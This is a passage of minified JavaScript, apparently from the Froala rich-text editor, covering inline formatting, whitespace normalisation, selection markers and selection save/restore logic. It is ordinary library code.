c(e){return"</".concat(e,">")}(e)),x.selection.restore()}else{x.selection.save();var o,i=x.$el.find('.fr-marker[data-type="true"]').length&&x.$el.find('.fr-marker[data-type="true"]').get(0).nextSibling;v(i,e,t),w(i).parent().find("a:empty").remove();do{for(o=x.$el.find("".concat(O(e,t)," > ").concat(O(e,t))),n=0;n<o.length;n++)o[n].outerHTML=o[n].innerHTML}while(o.length);x.el.normalize();var a=x.el.querySelectorAll(".fr-marker");for(n=0;n<a.length;n++){var s=w(a[n]);!0===s.data("type")?k(s.get(0).nextSibling,O(e,t))&&s.next().prepend(s):k(s.get(0).previousSibling,O(e,t))&&s.prev().append(s)}x.selection.restore()}}function $(e,t,n,r){if(!r){var o=!1;if(!0===e.data("type"))for(;x.node.isFirstSibling(e.get(0))&&!e.parent().is(x.$el)&&!e.parent().is("ol")&&!e.parent().is("ul");)e.parent().before(e),o=!0;else if(!1===e.data("type"))for(;x.node.isLastSibling(e.get(0))&&!e.parent().is(x.$el)&&!e.parent().is("ol")&&!e.parent().is("ul");)e.parent().after(e),o=!0;if(o)return!0}if(e.parents(t).length||void 0===t){var i,a="",s="",l=e.parent();if("A"===l[0].tagName&&(l=l.parent()),l.is(x.$el)||x.node.isBlock(l.get(0)))return!1;for(;!(x.node.isBlock(l.parent().get(0))||void 0!==t&&k(l.get(0),O(t,n)));)a+=x.node.closeTagString(l.get(0)),s=x.node.openTagString(l.get(0))+s,l=l.parent();var c=e.get(0).outerHTML;return e.replaceWith('<span id="mark"></span>'),i=l.html().replace(/<span id="mark"><\/span>/,a+x.node.closeTagString(l.get(0))+s+c+a+x.node.openTagString(l.get(0))+s),l.replaceWith(x.node.openTagString(l.get(0))+i+x.node.closeTagString(l.get(0))),!0}return!1}function c(e,t){void 0===t&&(t={}),t.style&&delete t.style;var n=x.selection.isCollapsed();x.selection.save();var r=x.$el.find(".fr-marker");if(e&&r.length&&(r[0].parentNode&&r[0].parentNode.tagName===e.toUpperCase()||r[1].parentNode.tagName===e.toUpperCase())){var o=r[0];r[0].parentNode.tagName!==e.toUpperCase()&&(o=r[1]);for(var i=o.parentNode.previousSibling;null!=i;)i.nodeType===Node.TEXT_NODE&&(i.textContent=i.textContent.replace(/\u200B/g,"")),i=i.previousSibling;for(var a=o.parentNode.nextSibling;null!=a;)a.nodeType===Node.TEXT_NODE&&(a.textContent=a.textContent.replace(/\u200B/g,"")),a=a.nextSibling}for(var s=!0;s;){s=!1;for(var l=x.$el.find(".fr-marker"),c=0;c<l.length;c++){var d=w(l[c]),f=null;if(d.attr("data-cloned")||n||(f=d.clone().removeClass("fr-marker").addClass("fr-clone"),d.data("type")&&"true"===d.data("type").toString()?d.attr("data-cloned",!0).after(f):d.attr("data-cloned",!0).before(f)),$(d,e,t,n)){s=!0;break}}}!function M(e,t,n,r){for(var o,i={strong:{prop:"font-weight",val:"bold"},em:{prop:"font-style",val:"italic"}},a=x.node.contents(e.get(0)),s=0;s<a.length;s++){var l=a[s];if(l.innerHTML&&8203==l.innerHTML.charCodeAt()&&l.tagName.toLocaleLowerCase()==n&&l.childNodes.length<2&&!x.helpers.isMobile()&&(l.outerHTML=l.innerHTML),x.node.hasClass(l,"fr-marker"))t=(t+1)%2;else if(t)if(0<w(l).find(".fr-marker").length)t=M(w(l),t,n,r);else{(o="LI"===l.tagName?l:w(l).parentsUntil(x.$el,"li").get(0))&&(void 0===n||0<=["strong","em"].indexOf(n))&&(n?w(o).css(i[n].prop,""):o.style=""),(o=l.parentNode!==x.el?l.parentNode:null)&&1===o.nodeType&&["p","strong","u","em","s","sub","sup","a"].indexOf(n)<0&&o.hasAttribute("style")&&"SPAN"!==o.tagName&&"LI"!==o.tagName?o.style="":l&&1===l.nodeType&&l.hasAttribute("style")&&["p","strong","u","em","s","sub","sup","a"].indexOf(n)<0&&(x.browser.msie?w(l).attr("style",""):l.style="");for(var c=w(l).find(n||"*:not(br)"),d=c.length-1;0<=d;d--){var f=c[d];(o="LI"===f.tagName?f:w(f).parentsUntil(x.$el,"li").get(0))&&(!n||0<=["strong","em"].indexOf(n))&&(n?w(o).css(i[n].prop,""):o.style=""),"A"===f.tagName||x.node.isBlock(f)||x.node.isVoid(f)||void 0!==n&&!k(f,O(n,r))?x.node.isBlock(f)&&void 0===n&&"TABLE"!==l.tagName&&x.node.clearAttributes(f):x.node.hasClass(f,"fr-clone")||x.node.hasClass(f,"fr-tracking-deleted")||w(f).data("tracking")||(f.outerHTML=f.innerHTML)}"A"!==l.tagName&&void 0===n&&l.nodeType===Node.ELEMENT_NODE&&!x.node.isVoid(l)||k(l,O(n,r))?x.node.isBlock(l)||(x.node.hasClass(l,"fr-clone")||x.opts.trackChangesEnabled?!x.node.hasClass(l,"fr-clone")&&x.opts.trackChangesEnabled&&l.parentNode&&(l.outerHTML=l.innerHTML):l.outerHTML=l.innerHTML):void 0===n&&l.nodeType===Node.ELEMENT_NODE&&x.node.isBlock(l)&&"TABLE"!==l.tagName&&x.node.clearAttributes(l)}else 0<w(l).find(".fr-marker").length&&(t=M(w(l),t,n,r))}return t}(x.$el,0,e,t),n||(x.$el.find(".fr-marker").remove(),x.$el.find(".fr-clone").removeClass("fr-clone").addClass("fr-marker")),n&&x.$el.find(".fr-marker").before(Z.INVISIBLE_SPACE).after(Z.INVISIBLE_SPACE),x.html.cleanEmptyTags(),x.el.normalize(),x.selection.restore();var p=x.win.getSelection()&&x.win.getSelection().anchorNode;if(p){var u=x.node.blockParent(p),h=!!p.textContent.replace(/\u200B/g,"").length,g=x.win.getSelection().getRangeAt(0),C=g.startOffset,m=g.endOffset;x.selection.text().replace(/\u200B/g,"").length||function A(e,t){if(e&&t){if(e.isSameNode(t)?e.textContent=e.textContent.replace(/\u200B(?=.*\u200B)/g,""):e.nodeType===Node.TEXT_NODE&&(e.textContent=e.textContent.replace(/\u200B/g,"")),!e.childNodes.length)return!1;Array.isArray(e.childNodes)&&e.childNodes.forEach(function(e){A(e,t)})}}(u,p);var v=x.win.getSelection().getRangeAt(0);if(p.nodeType===Node.TEXT_NODE){if(!h||!x.selection.text().length&&C===m){var b=p.textContent.search(/\u200B/g)+1;if(x.browser.msie){var L=x.doc.createRange();x.selection.get().removeAllRanges(),L.setStart(p,b),L.setEnd(p,b),x.selection.get().addRange(L)}else"a"!==e&&(v.setStart(p,b),v.setEnd(p,b))}}else{var E,y,S=0,N=w(p).contents();if(x.browser.msie){for(;y=N[S];)y.nodeType===Node.TEXT_NODE&&0<=y.textContent.search(/\u200B/g)&&(E=y),S++;E=w(E)}else E=N.filter(function(e){return e.nodeType===Node.TEXT_NODE&&0<=e.textContent.search(/\u200B/g)});if(E.length&&!x.opts.trackChangesEnabled){var T=E.text().search(/\u200B/g)+1;v.setStart(E.get(0),T),v.setEnd(E.get(0),T)}}}}function t(e,t){var n,r,o,i,a,s,l,c=null;if(x.selection.isCollapsed()){x.markers.insert();var d=(r=x.$el.find(".fr-marker")).parent();if(x.node.openTagString(d.get(0))==='<span style="'.concat(e,": ").concat(d.css(e),';">')){if(x.node.isEmpty(d.get(0)))c=w(x.doc.createElement("span")).attr("style","".concat(e,": ").concat(t,";")).html("".concat(Z.INVISIBLE_SPACE).concat(Z.MARKERS)),d.replaceWith(c);else{var f={};f["style*"]="".concat(e,":"),$(r,"span",f,!0),r=x.$el.find(".fr-marker"),t?(c=w(x.doc.createElement("span")).attr("style","".concat(e,": ").concat(t,";")).html("".concat(Z.INVISIBLE_SPACE).concat(Z.MARKERS)),r.replaceWith(c)):r.replaceWith(Z.INVISIBLE_SPACE+Z.MARKERS)}x.html.cleanEmptyTags()}else x.node.isEmpty(d.get(0))&&d.is("span")?(r.replaceWith(Z.MARKERS),d.css(e,t)):(r.get(0).nextSibling&&x.node.isBlock(r.get(0).nextSibling)&&!r.get(0).previousSibling&&"LI"===r.get(0).parentNode.tagName&&r.get(0).nextSibling.prepend(r.get(0)),c=w(t?'<span style="'.concat(e,": ").concat(t,';">').concat(Z.INVISIBLE_SPACE).concat(Z.MARKERS,"</span>"):"<span>".concat(Z.INVISIBLE_SPACE).concat(Z.MARKERS,"</span>")),r.replaceWith(c));c&&L(c,e,t)}else{if(x.selection.save(),null===t||"color"===e&&0<x.$el.find(".fr-marker").parents("u, a").length){var p=x.$el.find(".fr-marker");for(n=0;n<p.length;n++)if(!0===(r=w(p[n])).data("type")||"true"===r.data("type"))for(;x.node.isFirstSibling(r.get(0))&&!r.parent().is(x.$el)&&!x.node.isElement(r.parent().get(0))&&!x.node.isBlock(r.parent().get(0));)r.parent().before(r);else for(;x.node.isLastSibling(r.get(0))&&!r.parent().is(x.$el)&&!x.node.isElement(r.parent().get(0))&&!x.node.isBlock(r.parent().get(0));)r.parent().after(r)}for(var u=x.$el.find('.fr-marker[data-type="true"]').get(0).nextSibling;u.firstChild;)u=u.firstChild;var h={"class":"fr-unprocessed"};for(t&&(h.style="".concat(e,": ").concat(t,";")),v(u,"span",h),x.$el.find(".fr-marker + .fr-unprocessed").each(function(){w(this).prepend(w(this).prev())}),x.$el.find(".fr-unprocessed + .fr-marker").each(function(){w(this).prev().append(w(this))}),(t||"").match(/\dem$/)&&x.$el.find("span.fr-unprocessed").removeClass("fr-unprocessed");0<x.$el.find("span.fr-unprocessed").length;){if(o=b(c=x.$el.find("span.fr-unprocessed").first().removeClass("fr-unprocessed")),c.parent().get(0).normalize(),c.parent().is("span")&&1===c.parent().get(0).childNodes.length){var g=t;x.browser.msie&&!t&&(g=""),c.parent().css(e,g);var C=c;c=c.parent(),C.replaceWith(C.html()),1!==c.parent().get(0).childNodes.length||t||"background-color"!==e||c.parents("span").css(e,t)}for(i=c.find("span"),o&&"background-color"!==e&&(o.normalize(),i=w(o).find("span:not(.fr-unprocessed)")),n=i.length-1;0<=n;n--)a=i[n],s=e,l=void 0,(l=w(a)).css(s,""),""===l.attr("style")&&l.replaceWith(l.html());L(c,e,t)}}!function m(){var e;for(;0<x.$el.find(".fr-split:empty").length;)x.$el.find(".fr-split:empty").remove();x.$el.find(".fr-split").removeClass("fr-split"),x.$el.find('[style=""]').removeAttr("style"),x.$el.find('[class=""]').removeAttr("class"),x.html.cleanEmptyTags();for(var t=x.$el.find("span"),n=t.length-1;0<=n;n--){var r=t[n];r.attributes&&0!==r.attributes.length||w(r).replaceWith(r.innerHTML)}x.el.normalize();var o=x.$el.find("span[style] + span[style]");for(e=0;e<o.length;e++){var i=w(o[e]),a=w(o[e]).prev();i.get(0).previousSibling===a.get(0)&&x.node.openTagString(i.get(0))===x.node.openTagString(a.get(0))&&(i.prepend(a.html()),a.remove())}x.$el.find("span[style] span[style]").each(function(){if(0<=w(this).attr("style").indexOf("font-size")){var e=w(this).parents("span[style]");e.attr("style")&&0<=e.attr("style").indexOf("background-color")&&(w(this).attr("style",function o(e,t){var n=function n(e){return e.split(";").reduce(function(e,t){var n=t.split(":"),r=y(n,2),o=r[0],i=r[1];return o&&i&&(e[o.trim()]=i.trim()),e},{})},r=Object.assign(n(t),n(e));return Object.entries(r).map(function(e){var t=y(e,2),n=t[0],r=t[1];return"".concat(n,": ").concat(r)}).join("; ")}(w(this).attr("style"),e.attr("style"))),$(w(this),"span[style]",{},!1))}}),x.el.normalize(),x.selection.restore()}()}function b(e){var t,n,r,o,i,a;if(t="LI"===e.tagName?e:w(e).parentsUntil(x.$el,"li").get(0)){if((a=x.selection.info(t)).atStart&&a.atEnd)return t;if(a.atStart&&!a.atEnd&&(n=w(t).find(".fr-marker[data-type=false]").get(0),r=w(n).parentsUntil(x.$el,"li").get(0),o=w(n).parent().get(0),(i=n.nextSibling)&&0<=["UL","OL"].indexOf(i.tagName)||!r.isSameNode(t)||!i&&("LI"===o.tagName||!o.nextSibling||0<=["UL","OL"].indexOf(o.nextSibling.tagName)||x.node.isVoid(o.nextSibling))))return t}}function L(e,t,n){var r,o,i,a=e.parentsUntil(x.$el,"span[style]"),s=[];for(r=a.length-1;0<=r;r--)o=a[r],i=t,0===w(o).attr("style").indexOf("".concat(i,":"))||0<=w(o).attr("style").indexOf(";".concat(i,":"))||0<=w(o).attr("style").indexOf("; ".concat(i,":"))||s.push(a[r]);if((a=a.not(s)).length){for(var l="",c="",d="",f="",p=e.get(0);p=p.parentNode,w(p).addClass("fr-split"),l+=x.node.closeTagString(p),c=x.node.openTagString(w(p).clone().addClass("fr-split").get(0))+c,a.get(0)!==p&&(d+=x.node.closeTagString(p),f=x.node.openTagString(w(p).clone().addClass("fr-split").get(0))+f),a.get(0)!==p;);var u="".concat(l+x.node.openTagString(w(a.get(0)).clone().css(t,n||"").get(0))+f+e.css(t,"").get(0).outerHTML+d,"</span>").concat(c);e.replaceWith('<span id="fr-break"></span>');var h=a.get(0).outerHTML;w(a.get(0)).replaceWith(h.replace(/<span id="fr-break"><\/span>/g,function(){return u}))}}function d(e,t){void 0===t&&(t={}),t.style&&delete t.style;var n=x.selection.ranges(0),r=n.startContainer;if(r.nodeType===Node.ELEMENT_NODE&&0<r.childNodes.length&&r.childNodes[n.startOffset]&&(r=r.childNodes[n.startOffset]),!n.collapsed&&r.nodeType===Node.TEXT_NODE&&n.startOffset===(r.textContent||"").length){for(;!x.node.isBlock(r.parentNode)&&!r.nextSibling;)r=r.parentNode;r.nextSibling&&(r=r.nextSibling)}for(var o=r;o&&o.nodeType===Node.ELEMENT_NODE&&!k(o,O(e,t));)o=o.firstChild;if(o&&o.nodeType===Node.ELEMENT_NODE&&k(o,O(e,t)))return!0;var i=r;for(i&&i.nodeType!==Node.ELEMENT_NODE&&(i=i.parentNode);i&&i.nodeType===Node.ELEMENT_NODE&&i!==x.el&&!k(i,O(e,t));)i=i.parentNode;return!(!i||i.nodeType!==Node.ELEMENT_NODE||i===x.el||!k(i,O(e,t)))}return{is:d,toggle:function f(e,t){if(x.browser.safari&&x.shared.safariSelection){var n=x.shared.safariSelection,r=n.startContainer,o=n.endContainer,i=n.startOffset,a=n.endOffset,s=x.doc.createRange();s.setStart(r,i),s.setEnd(o,a),x.selection.get().removeAllRanges(),x.selection.get().addRange(s),x.shared.safariSelection=null}d(e,t)?c(e,t):l(e,t)},apply:l,remove:c,applyStyle:t,removeStyle:function n(e){t(e,null)}}},Z.MODULES.spaces=function(p){var u=p.$;function r(e,t){var n=e.previousSibling,r=e.nextSibling,o=e.textContent,i=e.parentNode,a=[Z.ENTER_P,Z.ENTER_DIV,Z.ENTER_BR];if(!p.html.isPreformatted(i)){t&&(o=p.opts.preserveTabSpaces?o.replace(/[\f\n\r\v]{2,}/g," "):o.replace(/[\f\n\r\t\v ]{2,}/g," "),r&&"BR"!==r.tagName&&!p.node.isBlock(r)||!(p.node.isBlock(i)||p.node.isLink(i)&&!i.nextSibling||p.node.isElement(i))||(o=o.replace(/[\f\n\r\t\v ]{1,}$/g,"")),n&&"BR"!==n.tagName&&!p.node.isBlock(n)||!(p.node.isBlock(i)||p.node.isLink(i)&&!i.previousSibling||p.node.isElement(i))||(o=o.replace(/^[\f\n\r\t\v ]{1,}/g,"")),(p.node.isBlock(r)||p.node.isBlock(n))&&(!n||n&&"A"!==n.tagName)&&(o=o.replace(/^[\f\n\r\t\v ]{1,}/g,""))," "===o&&(n&&p.node.isVoid(n)||r&&p.node.isVoid(r))&&!(n&&r&&p.node.isVoid(n)||r&&n&&p.node.isVoid(r))&&(o="")),(!n&&p.node.isBlock(r)||!r&&p.node.isBlock(n))&&p.node.isBlock(i)&&i!==p.el&&(o=o.replace(/^[\f\n\r\t\v ]{1,}/g,"")),t||(o=o.replace(new RegExp(Z.UNICODE_NBSP,"g")," "));var s=i.nextSibling&&i.nextSibling.tagName,l=i.previousSibling&&i.previousSibling.tagName,c=["SPAN","STRONG","U","EM"];s||u(i).parent().each(function(){return-1!==c.indexOf(this.tagName)&&(this.nextSibling?(s=this.nextSibling&&this.nextSibling.tagName,!1):void 0)}),l||u(i).parent().each(function(){return-1!==c.indexOf(this.tagName)&&(this.previousSibling?(l=this.previousSibling&&this.previousSibling.tagName,!1):void 0)});for(var d="",f=0;f<o.length;f++)32!=o.charCodeAt(f)||0!==f&&32!=d.charCodeAt(f-1)||e.nodeType===Node.TEXT_NODE&&"SPAN"===i.tagName&&i.parentNode&&0<=c.indexOf(i.parentNode.tagName)&&(0<=c.indexOf(s)||0<=c.indexOf(l))||!((p.opts.enter===Z.ENTER_BR||p.opts.enter===Z.ENTER_DIV)&&(n&&"BR"===n.tagName||r&&"BR"===r.tagName)||n&&r&&n.tagName===r.tagName||!(n&&r&&p.node.isVoid(n)||n&&r&&p.node.isVoid(r))||n&&r&&0<=["STRONG","U","EM"].indexOf(n.tagName)&&"BR"===r.tagName)?d+=o[f]:d+=Z.UNICODE_NBSP;p.browser.chrome&&1<d.length&&32===d.charCodeAt(d.length-1)&&(r&&r.nextSibling&&r.nextSibling.nextSibling&&"BR"===r.nextSibling.nextSibling.tagName||r&&"BR"===r.tagName)&&(d=d.substring(0,d.length-1)+Z.UNICODE_NBSP),!(!r||r&&p.node.isBlock(r)||r&&r.nodeType===Node.ELEMENT_NODE&&p.win.getComputedStyle(r)&&"block"===p.win.getComputedStyle(r).display)||e.nodeType===Node.TEXT_NODE&&"SPAN"===i.tagName&&i.parentNode&&0<=c.indexOf(i.parentNode.tagName)&&(0<=c.indexOf(s)||0<=c.indexOf(l))||(!p.node.isVoid(n)||n&&-1!==["P","DIV","BR"].indexOf(n.tagName)&&-1!==a.indexOf(p.opts.enter))&&(d=d.replace(/ $/,Z.UNICODE_NBSP)),!n||p.node.isVoid(n)||p.node.isBlock(n)||1!==(d=d.replace(/^\u00A0([^ $])/," $1")).length||160!==d.charCodeAt(0)||!r||p.node.isVoid(r)||p.node.isBlock(r)||p.node.hasClass(n,"fr-marker")&&p.node.hasClass(r,"fr-marker")||(d=" "),t||(d=d.replace(/([^ \u00A0])\u00A0([^ \u00A0])/g,"$1 $2")),e.textContent!==d&&(e.textContent=d)}}function l(e,t){if(void 0!==e&&e||(e=p.el),void 0===t&&(t=!1),!e.getAttribute||"false"!==e.getAttribute("contenteditable"))if(e.nodeType===Node.TEXT_NODE)r(e,t);else if(e.nodeType===Node.ELEMENT_NODE)for(var n=p.doc.createTreeWalker(e,NodeFilter.SHOW_TEXT,p.node.filter(function(e){for(var t=e.parentNode;t&&t!==p.el;){if("STYLE"===t.tagName||"IFRAME"===t.tagName)return!1;if("PRE"===t.tagName)return!1;t=t.parentNode}return null!==e.textContent.match(/([ \u00A0\f\n\r\t\v]{2,})|(^[ \u00A0\f\n\r\t\v]{1,})|([ \u00A0\f\n\r\t\v]{1,}$)/g)&&!p.node.hasClass(e.parentNode,"fr-marker")}),!1);n.nextNode();)r(n.currentNode,t)}return{normalize:l,normalizeAroundCursor:function c(){for(var e=[],t=p.el.querySelectorAll(".fr-marker"),n=0;n<t.length;n++){for(var r=null,o=p.node.blockParent(t[n]),i=(r=o||t[n]).nextSibling,a=r.previousSibling;i&&"BR"===i.tagName;)i=i.nextSibling;for(;a&&"BR"===a.tagName;)a=a.previousSibling;r&&e.indexOf(r)<0&&e.push(r),a&&e.indexOf(a)<0&&e.push(a),i&&e.indexOf(i)<0&&e.push(i)}for(var s=0;s<e.length;s++)l(e[s])}}},Z.INVISIBLE_SPACE="​",Z.HAIR_SPACE=" ",Z.START_MARKER='<span class="fr-marker" data-id="0" data-type="true" style="display: none; line-height: 0;">'.concat(Z.INVISIBLE_SPACE,"</span>"),Z.END_MARKER='<span class="fr-marker" data-id="0" data-type="false" style="display: none; line-height: 0;">'.concat(Z.INVISIBLE_SPACE,"</span>"),Z.MARKERS=Z.START_MARKER+Z.END_MARKER,Z.MODULES.markers=function(d){var f=d.$;function l(){if(!d.$wp)return null;try{var e=d.selection.ranges(0),t=e.commonAncestorContainer;if(t!==d.el&&!d.$el.contains(t))return null;var n=e.cloneRange(),r=e.cloneRange();n.collapse(!0);var o=f(d.doc.createElement("SPAN")).addClass("fr-marker").attr("style","display: none; line-height: 0;").html(Z.INVISIBLE_SPACE).get(0);if(n.insertNode(o),o=d.$el.find("span.fr-marker").get(0)){for(var i=o.nextSibling;i&&i.nodeType===Node.TEXT_NODE&&0===i.textContent.length;)f(i).remove(),i=d.$el.find("span.fr-marker").get(0).nextSibling;return d.selection.clear(),d.selection.get().addRange(r),o}return null}catch(a){}}function c(){d.$el.find(".fr-marker").remove()}return{place:function p(e,t,n){var r,o,i;try{var a=e.cloneRange();if(a.collapse(t),a.insertNode(function l(e,t){var n=f(d.doc.createElement("SPAN"));return n.addClass("fr-marker").attr("data-id",t).attr("data-type",e).attr("style","display: ".concat(d.browser.safari?"none":"inline-block","; line-height: 0;")).html(Z.INVISIBLE_SPACE),n.get(0)}(t,n)),!0===t)for(i=(r=d.$el.find('span.fr-marker[data-type="true"][data-id="'.concat(n,'"]')).get(0)).nextSibling;i&&i.nodeType===Node.TEXT_NODE&&0===i.textContent.length;)f(i).remove(),i=r.nextSibling;if(!0===t&&!e.collapsed){for(;!d.node.isElement(r.parentNode)&&!i;)-1</\bfa\b/g.test(r.parentNode.className)&&"I"===r.parentNode.tagName?f(r.parentNode).before(r):f(r.parentNode).after(r),i=r.nextSibling;if(i&&i.nodeType===Node.ELEMENT_NODE&&d.node.isBlock(i)&&"HR"!==i.tagName){for(o=[i];i=o[0],(o=d.node.contents(i))[0]&&d.node.isBlock(o[0]););f(i).prepend(f(r))}}if(!1===t&&!e.collapsed){if((i=(r=d.$el.find('span.fr-marker[data-type="false"][data-id="'.concat(n,'"]')).get(0)).previousSibling)&&i.nodeType===Node.ELEMENT_NODE&&d.node.isBlock(i)&&"HR"!==i.tagName){for(o=[i];i=o[o.length-1],(o=d.node.contents(i))[o.length-1]&&d.node.isBlock(o[o.length-1]););f(i).append(f(r))}(r.parentNode&&0<=["TD","TH"].indexOf(r.parentNode.tagName)||!r.previousSibling&&d.node.isBlock(r.parentElement))&&(r.parentNode.previousSibling&&!r.previousSibling?f(r.parentNode.previousSibling).append(r):0<=["TD","TH"].indexOf(r.parentNode.tagName)&&r.parentNode.firstChild===r&&(r.parentNode.previousSibling?f(r.parentNode.previousSibling).append(r):r.parentNode.parentNode&&r.parentNode.parentNode.previousSibling&&f(r.parentNode.parentNode.previousSibling).append(r)))}var s=d.$el.find('span.fr-marker[data-type="'.concat(t,'"][data-id="').concat(n,'"]')).get(0);return s&&(s.style.display="none"),s}catch(c){return null}},insert:l,split:function a(){d.selection.isCollapsed()||d.selection.remove();var e=d.$el.find(".fr-marker").get(0);if(e||(e=l()),!e)return null;var t=d.node.deepestParent(e);if(t||(t=d.node.blockParent(e))&&"LI"!==t.tagName&&(t=null),t)if(d.node.isBlock(t)&&d.node.isEmpty(t))"LI"!==t.tagName||t.parentNode.firstElementChild!==t||d.node.isEmpty(t.parentNode)?f(t).replaceWith('<span class="fr-marker"></span>'):f(t).append('<span class="fr-marker"></span>');else if(d.cursor.isAtStart(e,t))f(t).before('<span class="fr-marker"></span>'),f(e).remove();else if(d.cursor.isAtEnd(e,t))f(t).after('<span class="fr-marker"></span>'),f(e).remove();else if("true"!==t.contentEditable){for(var n=e,r="",o="";n=n.parentNode,r+=d.node.closeTagString(n),o=d.node.openTagString(n)+o,n!==t;);f(e).replaceWith('<span id="fr-break"></span>');var i=d.node.openTagString(t)+f(t).html()+d.node.closeTagString(t);i=i.replace(/<span id="fr-break"><\/span>/g,"".concat(r,'<span class="fr-marker"></span>').concat(o)),f(t).replaceWith(i)}return d.$el.find(".fr-marker").get(0)},insertAtPoint:function u(e){var t,n=e.clientX,r=e.clientY;c();var o=null;if("undefined"!=typeof d.doc.caretPositionFromPoint?(t=d.doc.caretPositionFromPoint(n,r),(o=d.doc.createRange()).setStart(t.offsetNode,t.offset),o.setEnd(t.offsetNode,t.offset)):"undefined"!=typeof d.doc.caretRangeFromPoint&&(t=d.doc.caretRangeFromPoint(n,r),(o=d.doc.createRange()).setStart(t.startContainer,t.startOffset),o.setEnd(t.startContainer,t.startOffset)),null!==o&&"undefined"!=typeof d.win.getSelection){var i=d.win.getSelection();i.removeAllRanges(),i.addRange(o)}else if("undefined"!=typeof d.doc.body.createTextRange)try{(o=d.doc.body.createTextRange()).moveToPoint(n,r);var a=o.duplicate();a.moveToPoint(n,r),o.setEndPoint("EndToEnd",a),o.select()}catch(s){return!1}l()},remove:c}},Z.MODULES.selection=function(E){var y=E.$;function s(){var e="";return E.win.getSelection?e=E.win.getSelection():E.doc.getSelection?e=E.doc.getSelection():E.doc.selection&&(e=E.doc.selection.createRange().text),e.toString()}function L(){return E.win.getSelection?E.win.getSelection():E.doc.getSelection?E.doc.getSelection():E.doc.selection.createRange()}function p(e){var t=L(),n=[];if(t&&t.getRangeAt&&t.rangeCount){n=[];for(var r=0;r<t.rangeCount;r++)n.push(t.getRangeAt(r))}else n=E.doc.createRange?[E.doc.createRange()]:[];return void 0!==e?n[e]:n}function S(){var e=L();try{e.removeAllRanges?e.removeAllRanges():e.empty?e.empty():e.clear&&e.clear()}catch(t){}}function u(e,t){var n=e;return n.nodeType===Node.ELEMENT_NODE&&0<n.childNodes.length&&n.childNodes[t]&&(n=n.childNodes[t]),n.nodeType===Node.TEXT_NODE&&(n=n.parentNode),n}function N(){if(E.$wp){E.markers.remove();var e,t,n=p(),r=[];for(t=0;t<n.length;t++)if(n[t].startContainer!==E.doc||E.browser.msie){var o=(e=n[t]).collapsed,i=E.markers.place(e,!0,t),a=E.markers.place(e,!1,t);if(void 0!==i&&i||!o||(y(".fr-marker").remove(),E.selection.setAtEnd(E.el)),E.el.normalize(),E.browser.safari&&!o)try{(e=E.doc.createRange()).setStartAfter(i),e.setEndBefore(a),r.push(e)}catch(s){}}if(E.browser.safari&&r.length)for(E.selection.clear(),t=0;t<r.length;t++)E.selection.get().addRange(r[t])}}function T(){var e,t=E.el.querySelectorAll('.fr-marker[data-type="true"]');if(!E.$wp)return E.markers.remove(),!1;if(0===t.length)return!1;if(E.browser.msie||E.browser.edge)for(e=0;e<t.length;e++)t[e].style.display="inline-block";E.core.hasFocus()||E.browser.msie||E.browser.webkit||E.$el.focus(),S();var n=L();for(e=0;e<t.length;e++){var r=y(t[e]).data("id"),o=t[e],i=E.doc.createRange(),a=E.$el.find('.fr-marker[data-type="false"][data-id="'.concat(r,'"]'));(E.browser.msie||E.browser.edge)&&a.css("display","inline-block");var s=null;if(0<a.length){a=a[0];try{for(var l=!1,c=o.nextSibling,d=null;c&&c.nodeType===Node.TEXT_NODE&&0===c.textContent.length;)c=(d=c).nextSibling,y(d).remove();for(var f=a.nextSibling;f&&f.nodeType===Node.TEXT_NODE&&0===f.textContent.length;)f=(d=f).nextSibling,y(d).remove();if(o.nextSibling===a||a.nextSibling===o){for(var p=o.nextSibling===a?o:a,u=p===o?a:o,h=p.previousSibling;h&&h.nodeType===Node.TEXT_NODE&&0===h.length;)h=(d=h).previousSibling,y(d).remove();if(h&&h.nodeType===Node.TEXT_NODE)for(;h&&h.previousSibling&&h.previousSibling.nodeType===Node.TEXT_NODE;)h.previousSibling.textContent+=h.textContent,h=h.previousSibling,y(h.nextSibling).remove();for(var g=u.nextSibling;g&&g.nodeType===Node.TEXT_NODE&&0===g.length;)g=(d=g).nextSibling,y(d).remove();if(g&&g.nodeType===Node.TEXT_NODE)for(;g&&g.nextSibling&&g.nextSibling.nodeType===Node.TEXT_NODE;)g.nextSibling.textContent=g.textContent+g.nextSibling.textContent,g=g.nextSibling,y(g.previousSibling).remove();if(h&&(E.node.isVoid(h)||E.node.isBlock(h))&&(h=null),g&&(E.node.isVoid(g)||E.node.isBlock(g))&&(g=null),h&&g&&h.nodeType===Node.TEXT_NODE&&g.nodeType===Node.TEXT_NODE){y(o).remove(),y(a).remove();var C=h.textContent.length;h.textContent+=g.textContent,y(g).remove(),E.spaces.normalize(h),i.setStart(h,C),i.setEnd(h,C),l=!0}else!h&&g&&g.nodeType===Node.TEXT_NODE?(y(o).remove(),y(a).remove(),E.opts.htmlUntouched||E.spaces.normalize(g),s=y(E.doc.createTextNode("\u200b")).get(0),y(g).before(s),i.setStart(g,0),i.setEnd(g,0),l=!0):!g&&h&&h.nodeType===Node.TEXT_NODE&&(y(o).remove(),y(a).remove(),E.opts.htmlUntouched||E.spaces.normalize(h),s=y(E.doc.createTextNode("\u200b")).get(0),y(h).after(s),i.setStart(h,h.textContent.length),i.setEnd(h,h.textContent.length),l=!0)}if(!l){var m=void 0,v=void 0;v=(E.browser.chrome||E.browser.edge)&&o.nextSibling===a?(m=M(a,i,!0)||i.setStartAfter(a),M(o,i,!1)||i.setEndBefore(o)):(o.previousSibling===a&&(a=(o=a).nextSibling),a.nextSibling&&"BR"===a.nextSibling.tagName||!a.nextSibling&&E.node.isBlock(o.previousSibling)||o.previousSibling&&"BR"===o.previousSibling.tagName||(o.style.display="inline",a.style.display="inline",s=y(E.doc.createTextNode("\u200b")).get(0)),m=M(o,i,!0)||y(o).before(s)&&i.setStartBefore(o),M(a,i,!1)||y(a).after(s)&&i.setEndAfter(a)),"function"==typeof m&&m(),"function"==typeof v&&v()}}catch(b){}}s&&y(s).remove();try{n.addRange(i)}catch(b){}}E.markers.remove()}function M(e,t,n){var r,o=e.previousSibling,i=e.nextSibling;return 